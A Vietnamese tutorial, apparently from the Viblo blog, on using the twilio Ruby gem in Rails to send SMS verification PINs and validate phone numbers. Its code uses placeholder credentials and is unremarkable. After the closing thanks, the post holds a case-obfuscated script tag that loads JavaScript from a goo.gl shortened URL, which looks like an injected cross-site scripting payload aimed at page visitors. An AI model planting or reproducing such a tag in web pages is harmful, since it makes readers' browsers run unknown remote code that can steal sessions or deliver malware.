0

Hướng dẫn sử dụng gem twilio để gửi SMS

Như chúng ta đã học từ quyển rails tutorial hướng dẫn cách xác nhận tài khoản bằng email, thì hôm nay mình xin được hướng dẫn mọi người 1 cách xác nhận tài khoản nữa ( phổ biến khi kết hợp với mảng di động ) đó là bằng SMS.

Và gem mà chúng ta sử dụng đó là gem twilio. Mọi người có thể tham khảo tại đây https://github.com/twilio/twilio-ruby.

Và sau đây là các bước tiến hành để cài đặt

B1: Đăng kí 1 tài khoản miễn phí tại https://www.twilio.com

Lưu ý: Vì tài khoản mà ta tạo là free nên chỉ gửi được tin nhắn về số điện thoại mà ta đăng kí, muốn gửi được các số khác thì cần trả phí

B2: Cấu hình làm theo hướng dẫn tại đây https://www.twilio.com/blog/2014/10/twilio-on-rails-part-2-rails-4-app-sending-sms-mms.html

B3: Thêm id và token vào file config/secrets.yml

   development:
     secret_key_base: 'your secret key base'
     twilio_account_sid: <%= ENV["TWILIO_ACCOUNT_SID"] %>
     twilio_auth_token: <%= ENV["TWILIO_AUTH_TOKEN"] %>

  production:
    secret_key_base: 'your secret key base'
    twilio_account_sid: <%= ENV["TWILIO_ACCOUNT_SID"] %>
    twilio_auth_token: <%= ENV["TWILIO_AUTH_TOKEN"] %>

B4: Thiết lập chế độ bảo mật cho production, thêm dòng dưới đây vào config/environments/production.rb

config.middleware.use Rack::TwilioWebhookAuthentication, Rails.application.secrets.twilio_auth_token

Bây giờ chúng ta sẽ tạo 1 hàm để gửi mã xác nhận về điện thoại

def send_pin
     twilio_client = Twilio::REST::Client.new("your twilio account sid", "your Twilio AUTH TOKEN")
      twilio_client.messages.create(
        to: phone_number,
        from: "your phonephone twilio phone number",
        body: "Your PIN is #{pin}")
end

Vậy là chúng ta đã có thể gửi được xác nhận về điện thoại mình rồi

Để kiểm tra số điện thoại nhập vào có đúng định dạng là số điện thoại hay không, ta có thể sử dụng hàm này

def valid_phone_number?
    lookup_client = Twilio::REST::LookupsClient
    .new("your twilio account sid", "your Twilio AUTH    TOKEN")
    begin
    response = lookup_client.phone_numbers.get "your phone_number"
    response.phone_number
    rescue => e
    return false
    end
end

Cảm ơn mọi người đã quan tâm theo dõi

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.